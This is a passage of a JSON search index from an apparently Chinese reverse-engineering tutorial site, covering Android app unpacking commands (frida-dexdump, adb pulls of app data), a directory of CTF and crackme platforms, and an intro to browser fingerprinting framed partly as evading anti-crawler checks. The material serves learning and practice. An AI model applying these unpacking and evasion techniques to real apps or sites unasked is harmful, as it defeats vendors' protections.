Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#参考资料"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:8:0","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#快速参考"},{"categories":null,"collections":null,"content":"加固检测速查表 检测项 命令 可疑特征 Application 入口 unzip -p app.apk AndroidManifest.xml | grep android:name StubShell, ApplicationWrapper, StubApplication DEX 文件大小 unzip -l app.apk | grep classes.dex \u003c 100 KB (复杂应用) 加密数据文件 unzip -l app.apk | grep -E \"\\.dat|\\.bin\" assets/ 下的 .dat/.bin 文件 可疑 SO 库 unzip -l app.apk | grep \"lib/.*\\.so\" libexec.so, libvmp.so, libprotect.so 使用 PKid java -jar ApkToolPlus.jar -pkid app.apk 直接输出加固厂商 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:8:1","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#加固检测速查表"},{"categories":null,"collections":null,"content":"常用脱壳命令 # 1. 使用 frida-dexdump (推荐) python3 -m frida_dexdump -U -f com.target.app -o ./output # 2. 手写脚本 (Spawn 模式) frida -U -f com.target.app -l unpacker.js --no-pause # 3. 内存扫描 frida -U com.target.app -l memscan.js # 4. 拉取导出文件 adb pull /data/data/com.target.app/ ./dumped/ # 5. 验证 DEX 文件 xxd dumped.dex | head -n 2 # 检查 magic number jadx dumped.dex # 尝试反编译 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:8:2","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#常用脱壳命令"},{"categories":null,"collections":null,"content":"常用工具 工具 用途 链接 frida-dexdump 自动化 DEX dumper GitHub FUPK3 针对特定壳的脱壳机 GitHub Youpk 较新的脱壳工具 GitHub PKid 加固识别工具 GitHub dex-repair DEX 文件修复工具 GitHub 💡 提示: 脱壳是一个需要耐心和经验的过程。如果一种方法不奏效，尝试组合多种技术。记住，代码运行必解密 - 只要应用能正常运行，理论上就能脱壳。 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:8:3","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#常用工具"},{"categories":null,"collections":null,"content":"CTF 与练习平台 实践是掌握逆向工程技术的关键。本页面整理了提供 Android 逆向挑战的 CTF 平台和 CrackMe 网站，同时涵盖学习社区、比赛资源和入门建议。 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:0:0","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#ctf-与练习平台"},{"categories":null,"collections":null,"content":"CTF 平台推荐 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:1:0","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#ctf-平台推荐"},{"categories":null,"collections":null,"content":"国际平台 平台名称 链接 专长方向 难度 语言 说明 CTFtime ctftime.org 赛事聚合 / 全方向 全难度 英文 全球最大的 CTF 赛事聚合与排名平台，可追踪所有即将举办的比赛 Hack The Box hackthebox.com 渗透测试 / 逆向 / Mobile 中-高 英文 知名渗透测试平台，Mobile 和 Reversing 分类下有优质 Android 题目 TryHackMe tryhackme.com 网络安全入门 / 引导式学习 低-中 英文 对初学者极其友好，提供有引导性的 Android 逆向 Room PicoCTF picoctf.org 综合 CTF 入门 低-中 英文 卡内基梅隆大学主办，面向学生群体，包含 Reverse Engineering 入门题 OverTheWire overthewire.org Linux / 二进制基础 低-中 英文 经典 Wargame 平台，Narnia/Behemoth 系列适合练习二进制基础 pwnable.kr pwnable.kr Pwn / 二进制漏洞利用 中-高 英文 专注于系统级漏洞利用，题目经典且质量高 pwnable.tw pwnable.tw Pwn / 二进制漏洞利用 高 英文 题目难度较 pwnable.kr 更高，适合进阶选手 Root Me root-me.org 全方向 / Cracking 低-高 英/法文 Cracking 和 App-Script 分类下有移动应用相关挑战 W3Challs w3challs.com 综合 CTF 中-高 英文 包含 Reverse、Crypto、Web 等多类别题目 RingZer0 ringzer0ctf.com 综合 CTF 中 英文 涵盖 Reverse、Coding、Crypto 等方向 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:1:1","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#国际平台"},{"categories":null,"collections":null,"content":"国内平台 平台名称 链接 专长方向 难度 说明 BUUCTF buuoj.cn 综合 CTF / 题目收录 低-高 国内最大的综合 CTF 刷题平台，收录了大量历年赛题，包含 Reverse 方向 攻防世界 (XCTF) adworld.xctf.org.cn 综合 CTF 低-高 XCTF 联赛官方练习平台，题目分新手区和进阶区，逆向题丰富 i春秋 ichunqiu.com 综合安全 / CTF 培训 低-中 提供 CTF 靶场和在线课程，有移动安全相关内容 CTFHub ctfhub.com CTF 技能树 / 工具集 低-中 按技能树组织题目，有系统化的学习路径 NSSCTF nssctf.cn 综合 CTF / 高校赛题 低-高 收录大量国内高校 CTF 赛题，更新速度快 看雪 CTF ctf.kanxue.com 逆向 / Pwn / 移动安全 中-高 看雪论坛主办的 CTF 比赛，题目偏向逆向和二进制分析 蓝桥杯 CTF dasai.lanqiao.cn 综合 CTF 低-中 面向学生的比赛平台，有安全方向赛道 Bugku bugku.com 综合 CTF 低-中 题目种类丰富，包含逆向和移动安全方向 实验吧 shiyanbar.com 综合安全 / CTF 低-中 老牌安全学习平台，包含逆向和 CTF 练习环境 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:1:2","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#国内平台"},{"categories":null,"collections":null,"content":"Android 逆向专项 Android 逆向是 CTF 中一个独立且重要的方向。以下是专门针对 Android 逆向的资源。 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:2:0","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#android-逆向专项"},{"categories":null,"collections":null,"content":"OWASP UnCrackable Apps 描述: OWASP 官方提供的一系列 Android 和 iOS 逆向挑战应用，分为 Level 1 到 Level 4 不同难度。是学习移动安全测试标准 (MSTG) 的最佳配套练习。 链接: OWASP MSTG Repo ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:2:1","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#owasp-uncrackable-apps"},{"categories":null,"collections":null,"content":"Google CTF (Mobile Category) 描述: Google 每年举办的 CTF 比赛中的 Mobile 类目题目。这些题目通常质量很高，涉及各种 Android 特性和新颖的保护机制。 链接: Google CTF Archives (查看历年题目) ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:2:2","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#google-ctf-mobile-category"},{"categories":null,"collections":null,"content":"Android App Reverse Engineering 101 Crackmes 描述: Maddie Stone 在她的 Workshop 中使用的练习题目，非常适合 Android 逆向入门。 链接: GitHub Repo ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:2:3","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#android-app-reverse-engineering-101-crackmes"},{"categories":null,"collections":null,"content":"更多 Android 专项挑战资源 资源名称 链接 说明 DIVA (Damn Insecure and Vulnerable App) GitHub 专为学习 Android 安全漏洞设计的练习应用 InsecureBankv2 GitHub 模拟银行应用，包含多种常见安全漏洞 MSTG Hacking Playground GitHub OWASP MSTG 配套练习应用 InjuredAndroid GitHub CTF 风格的 Android 挑战应用，涵盖多种攻击向量 AndroGoat GitHub OWASP 风格的 Android 漏洞练习应用 hpAndro hpandro.raviramesh.info 涵盖 OWASP Top 10 Mobile 的 Android CTF 挑战 KGB Messenger GitHub 知名的 Android 逆向 CTF 挑战，三个关卡难度递进 CyberTruck Challenge GitHub 结合 Android 逆向和嵌入式安全的挑战 Android-Security GitHub Android 安全相关的 CTF 题目收集 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:2:4","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#更多-android-专项挑战资源"},{"categories":null,"collections":null,"content":"Android CrackMe 收集 来源 链接 说明 Crackmes.one (Android 标签) crackmes.one 搜索 “Android” 或 “APK” 标签，大量不同难度的 CrackMe 吾爱破解 CrackMe 合集 52pojie.cn 论坛 CrackMe 板块有大量中文 Android 逆向练习 看雪 CrackMe bbs.kanxue.com CrackMe 板块长期活跃，有移动端相关题目 r/ReverseEngineering Reddit 社区中偶尔会有 Android CrackMe 分享 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:2:5","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#android-crackme-收集"},{"categories":null,"collections":null,"content":"逆向工程练习资源 除了综合 CTF 平台外，以下网站专注于逆向工程方向的练习。 平台名称 链接 方向 难度 说明 Crackmes.one crackmes.one CrackMe 收集 低-高 全球最大的 CrackMe 收集网站，支持按平台、难度筛选 reversing.kr reversing.kr 逆向挑战 中-高 韩国知名逆向练习平台，题目经典，涵盖 Windows/Linux/Android challenges.re challenges.re 逆向挑战 中-高 《Reverse Engineering for Beginners》作者创建的练习集 begin.re begin.re 逆向入门 低 面向完全初学者的逆向工程入门教程与练习 Microcorruption microcorruption.com 嵌入式逆向 中 基于浏览器的嵌入式设备 CTF，适合理解底层逻辑 Flare-On flare-on.com 恶意软件逆向 高 FireEye/Mandiant 主办的年度逆向挑战赛，题目极具深度 CSAW 365 365.csaw.io 综合 CTF / 逆向 低-中 NYU 主办，全年开放的 CTF 练习环境 IO Wargame io.netgarage.org 二进制分析 中 经典的 Linux 二进制 Wargame ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:3:0","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#逆向工程练习资源"},{"categories":null,"collections":null,"content":"逆向工程电子书与参考 资源 链接 说明 RE for Beginners beginners.re Dennis Yurichev 著，免费电子书，逆向入门经典 Nightmare GitHub 基于 CTF 题目的二进制逆向与漏洞利用课程 LiveOverflow (YouTube) YouTube 高质量的 CTF 和安全研究视频，包含逆向内容 Malware Unicorn RE101 malwareunicorn.org 逆向工程 Workshop，面向初学者 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:3:1","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#逆向工程电子书与参考"},{"categories":null,"collections":null,"content":"在线学习平台与社区 安全社区是获取最新技术、交流经验的重要渠道。 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:4:0","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#在线学习平台与社区"},{"categories":null,"collections":null,"content":"国内核心社区 平台名称 链接 类型 说明 看雪学院 (Kanxue) kanxue.com 论坛 / 培训 国内最权威的安全技术论坛，逆向工程板块极为活跃，包含 Android 逆向专区 看雪安全培训 edu.kanxue.com 在线课程 提供系统化的逆向工程和安全课程，包括 Android 逆向专题 吾爱破解 (52pojie) 52pojie.cn 论坛 国内最大的逆向工程与软件分析社区，CrackMe 和教程资源丰富 i春秋 ichunqiu.com 培训 / 靶场 网络安全在线教育平台，提供 CTF 实训和安全课程 FreeBuf freebuf.com 资讯 / 社区 国内安全资讯平台，经常发布逆向分析和移动安全文章 安全客 anquanke.com 资讯 / 社区 360 旗下安全媒体平台，收录大量安全技术文章和 CTF Writeup 先知社区 xz.aliyun.com 社区 阿里巴巴旗下安全社区，技术文章质量较高 合天网安实验室 hetianlab.com 培训 / 实验 在线安全实验环境，包含移动安全相关实验 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:4:1","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#国内核心社区"},{"categories":null,"collections":null,"content":"国际社区与平台 平台名称 链接 类型 说明 r/ReverseEngineering Reddit 社区 Reddit 逆向工程子版，讨论活跃 r/netsec Reddit 社区 Reddit 网络安全子版，经常有逆向相关内容 Tuts4You tuts4you.com 论坛 / 教程 老牌逆向工程论坛，教程和工具资源丰富 OpenSecurityTraining2 ost2.fyi 在线课程 免费的高质量安全培训课程，包含逆向和二进制分析 RPISEC MBE GitHub 课程 RPI 大学的现代二进制漏洞利用课程，公开课件和 Lab Azeria Labs azeria-labs.com 教程 ARM 逆向和漏洞利用教程，对理解 Android Native 层有帮助 Hex-Rays Blog hex-rays.com/blog 博客 IDA Pro 官方博客，发布新功能介绍和逆向分析技巧 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:4:2","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#国际社区与平台"},{"categories":null,"collections":null,"content":"推荐 CTF 战队与 Writeup ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:5:0","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#推荐-ctf-战队与-writeup"},{"categories":null,"collections":null,"content":"知名 CTF 战队 了解顶尖战队的解题思路对提升水平很有帮助。 战队名称 所属地区 说明 PPP (Plaid Parliament of Pwning) 美国 (CMU) 多次 DEF CON CTF 冠军，全球顶尖战队 perfect blue 国际 近年活跃度极高的国际战队，常年 CTFtime 排名前列 Organizers 国际 由多支顶尖战队合并而成 Tea Deliverers 中国 国内顶尖战队，多次在国际赛事中取得优异成绩 r3kapig 中国 活跃在国际赛场的中国战队 Nu1L 中国 国内知名战队，在 Reverse 和 Pwn 方向实力强劲 Redbud 中国 (清华) 清华大学 CTF 战队 AAA 中国 (浙大) 浙江大学 CTF 战队 0ops 中国 (上交) 上海交通大学 CTF 战队 Blue-Lotus 中国 (清华) 清华大学蓝莲花战队，DEF CON CTF 常客 Shellphish 美国 (ASU) 亚利桑那州立大学战队，以自动化漏洞利用著称 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:5:1","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#知名-ctf-战队"},{"categories":null,"collections":null,"content":"Writeup 资源汇总 Writeup (解题报告) 是学习 CTF 解题思路的最佳途径之一。 来源 链接 说明 CTFtime Writeups ctftime.org/writeups 全球最大的 CTF Writeup 聚合平台，可按赛事和方向搜索 GitHub CTF Writeups GitHub 搜索 “ctf writeup” 很多选手和战队会将 Writeup 发布在 GitHub 上 看雪论坛 CTF 板块 bbs.kanxue.com 国内高质量的中文 CTF Writeup BUUCTF Writeup 各大博客平台 BUUCTF 题目的 Writeup 在 CSDN、博客园等平台大量存在 先知社区 xz.aliyun.com 收录大量赛后 Writeup 安全客 anquanke.com 定期收录 CTF 赛后分析 个人博客推荐 各类技术博客 关注 R0ysue (肉丝)、hluwa、evilpan 等知名安全研究员的博客 提示: 搜索引擎中输入 \"赛事名称\" + \"writeup\" 或 \"题目名称\" + \"wp\" 是找到特定题目解题报告的最快方式。 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:5:2","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#writeup-资源汇总"},{"categories":null,"collections":null,"content":"入门路径建议 对于想要入门 Android 逆向和 CTF 的学习者，建议按以下路径循序渐进。 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:6:0","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#入门路径建议"},{"categories":null,"collections":null,"content":"阶段一: 基础知识储备 (1-2 个月) 学习内容 推荐资源 目标 计算机基础 《深入理解计算机系统》(CSAPP) 理解内存、汇编、编译链接等底层概念 Java 基础 官方文档 / 在线教程 能读懂 Java 代码逻辑 Android 基础 Android 官方文档 理解四大组件、Activity 生命周期、APK 结构 Linux 基础 OverTheWire Bandit 熟悉命令行操作和基本 Shell 脚本 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:6:1","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#阶段一-基础知识储备-1-2-个月"},{"categories":null,"collections":null,"content":"阶段二: 逆向入门 (2-3 个月) 学习内容 推荐资源 目标 APK 静态分析 jadx, APKTool 熟练使用反编译工具分析 Java/Smali 代码 Smali 语法 《Android 软件安全与逆向分析》 能读懂并修改 Smali 代码 简单 CrackMe OWASP UnCrackable Level 1 完成第一个 Android 逆向挑战 动态调试基础 Android Studio Debugger 掌握断点调试和运行时分析 CTF 入门 PicoCTF, CTFHub 新手区 体验 CTF 解题流程 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:6:2","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#阶段二-逆向入门-2-3-个月"},{"categories":null,"collections":null,"content":"阶段三: 工具进阶 (2-3 个月) 学习内容 推荐资源 目标 Frida 入门 本教程、R0ysue 教程 掌握 Frida Hook Java 和 Native 函数 IDA Pro 基础 《IDA Pro 权威指南》 能分析 Native SO 文件 ARM 汇编 Azeria Labs ARM 教程 读懂 ARM 汇编代码 OWASP Level 2-3 OWASP UnCrackable Apps 处理 Root 检测、Native 代码保护 CTF 逆向题 BUUCTF Reverse 分类、攻防世界 积累解题经验 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:6:3","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#阶段三-工具进阶-2-3-个月"},{"categories":null,"collections":null,"content":"阶段四: 实战深入 (持续) 学习内容 推荐资源 目标 加壳与脱壳 看雪论坛脱壳板块 理解常见加固方案和脱壳方法 反混淆 challenges.re, Flare-On 应对 OLLVM 等代码混淆 协议分析 实际应用抓包分析 分析加密通信协议 漏洞挖掘 Google CTF Mobile 题目 理解 Android 安全漏洞利用 参加正式比赛 CTFtime 上的赛事 在限时环境下检验能力 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:6:4","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#阶段四-实战深入-持续"},{"categories":null,"collections":null,"content":"阶段五: 专精与研究 (长期) 方向 说明 Android 系统安全 深入内核、驱动、SELinux 策略等系统层面 恶意软件分析 分析 APT 组织的 Android 样本 自动化分析 开发 Frida 脚本、IDA 插件，构建自动化分析流水线 漏洞研究 专注于 Android 0day 研究和利用 安全对抗 研究最新的保护方案和绕过技术 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:6:5","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#阶段五-专精与研究-长期"},{"categories":null,"collections":null,"content":"比赛日历与赛事追踪 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:7:0","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#比赛日历与赛事追踪"},{"categories":null,"collections":null,"content":"如何追踪即将举办的 CTF 比赛 渠道 链接 说明 CTFtime ctftime.org/event/list/upcoming 全球最权威的 CTF 赛事日历，支持 iCal 订阅 CTFtime 权重赛事 ctftime.org 关注权重 (weight) 较高的比赛，通常质量更好 各平台公告 BUUCTF、攻防世界等 国内平台会在首页公告即将举办的比赛 安全客赛事栏目 anquanke.com 定期整理国内外安全赛事信息 微信公众号 各战队和社区公众号 关注 “看雪学院”、“i春秋” 等公众号获取赛事通知 Twitter/X 关注 @ctftime 等账号 国际赛事信息的第一手来源 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:7:1","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#如何追踪即将举办的-ctf-比赛"},{"categories":null,"collections":null,"content":"年度重点赛事 以下是逆向工程和移动安全方向值得关注的年度赛事。 赛事名称 时间 (大致) 类型 说明 DEF CON CTF 每年 8 月 线下总决赛 全球最顶级的 CTF 赛事，需经过预选赛晋级 Google CTF 每年 6-7 月 线上 Google 主办，Mobile 方向题目质量极高 Flare-On Challenge 每年 9-10 月 线上 FireEye 逆向挑战赛，纯逆向方向 看雪 KCTF 每年多期 线上 看雪论坛主办，偏重逆向和 Pwn 强网杯 每年不定期 线上+线下 国内高水平综合 CTF TCTF / 0CTF 每年不定期 线上+线下 国内顶级赛事，国际化程度高 Real World CTF 每年 1 月 线上+线下 侧重真实场景漏洞利用 HITCON CTF 每年 8-11 月 线上 中国台湾举办，题目质量和难度都很高 CSAW CTF 每年 9 月 线上 面向学生的大型 CTF，适合入门 网鼎杯 每年不定期 线上+线下 国内大型行业 CTF 赛事 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:7:2","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#年度重点赛事"},{"categories":null,"collections":null,"content":"CTFtime 使用技巧 注册账号: 在 CTFtime 注册后可以关注感兴趣的赛事，获取提醒通知 日历订阅: 在 CTFtime 获取 iCal 链接，导入 Google Calendar 或 Apple Calendar 自动同步赛事 筛选比赛: 使用 Format 筛选 Jeopardy (解题赛) 类型的比赛，这是最常见的 CTF 赛制 查看权重: CTFtime 权重 (weight) 反映比赛质量，建议优先参加权重 25 以上的赛事 赛后复盘: 比赛结束后在 CTFtime 查找 Writeup，学习其他选手的解题思路 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:7:3","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#ctftime-使用技巧"},{"categories":null,"collections":null,"content":"实用建议 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:8:0","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#实用建议"},{"categories":null,"collections":null,"content":"工具准备清单 在开始 CTF 和逆向练习之前，建议准备好以下工具环境: 类别 工具 说明 反编译 jadx, APKTool, JEB APK 静态分析必备 动态分析 Frida, Objection 运行时 Hook 和分析 调试器 IDA Pro, Ghidra, GDB Native 层调试和分析 抓包 Burp Suite, mitmproxy 网络流量分析 模拟器 Android Emulator, Genymotion 提供分析环境 脚本语言 Python 3 编写自动化脚本和 Exploit 十六进制编辑 010 Editor, HxD 二进制文件编辑 ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:8:1","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#工具准备清单"},{"categories":null,"collections":null,"content":"解题思路总结 Android 逆向 CTF 题目的一般解题流程: 信息收集: 使用 file、unzip 等命令确认文件类型，使用 jadx 反编译查看整体结构 静态分析: 阅读 Java/Kotlin 层代码，定位关键逻辑 (如验证函数、加密算法) 识别保护: 确认是否有加壳、混淆、Root 检测、反调试等保护手段 动态分析: 使用 Frida Hook 关键函数，打印参数和返回值 Native 分析: 如果关键逻辑在 SO 文件中，使用 IDA Pro/Ghidra 分析 编写脚本: 根据分析结果编写解题脚本，还原 Flag ","date":"2025-03-16","objectID":"/reverse_engineering/android/05-appendix/ctf_platforms/:8:2","tags":["Native层","资源","Android","参考","IDA Pro","Root检测"],"title":"CTF 与练习平台","uri":"/reverse_engineering/android/05-appendix/ctf_platforms/#解题思路总结"},{"categories":null,"collections":null,"content":"浏览器指纹识别 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:0:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#浏览器指纹识别"},{"categories":null,"collections":null,"content":"概述 浏览器指纹（Browser Fingerprinting）是一种通过收集浏览器和设备的各种特征来唯一标识用户的技术。即使用户清除 Cookie 或使用隐身模式，仍然可以通过指纹追踪。 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:1:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 浏览器架构 必需 浏览器架构 JavaScript 基础 必需 JavaScript 基础 DOM 与 BOM 必需 DOM 与 BOM Hook 技术 推荐 Hook 技术 浏览器自动化 推荐 Puppeteer/Playwright 💡 提示: 浏览器指纹是现代反爬虫系统的核心检测手段。理解指纹的生成原理，才能有效地伪装和规避检测。建议配合 Canvas 指纹 和 WebRTC 指纹 一起学习。 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:2:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#-前置知识"},{"categories":null,"collections":null,"content":"指纹组成要素 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#指纹组成要素"},{"categories":null,"collections":null,"content":"1. User-Agent 最基础的指纹信息，包含操作系统、浏览器版本等： navigator.userAgent; // \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...\" ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#1-user-agent"},{"categories":null,"collections":null,"content":"2. Screen 信息 const screenInfo = { width: screen.width, height: screen.height, colorDepth: screen.colorDepth, pixelDepth: screen.pixelDepth, availWidth: screen.availWidth, availHeight: screen.availHeight, }; ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#2-screen-信息"},{"categories":null,"collections":null,"content":"3. 时区与语言 const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone; // \"Asia/Shanghai\" const language = navigator.language; // \"zh-CN\" const languages = navigator.languages; // [\"zh-CN\", \"zh\", \"en\"] ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#3-时区与语言"},{"categories":null,"collections":null,"content":"4. 插件列表 const plugins = Array.from(navigator.plugins).map((p) =\u003e p.name); // [\"Chrome PDF Plugin\", \"Chrome PDF Viewer\", ...] 注意: 现代浏览器出于隐私考虑，已限制对插件列表的访问。 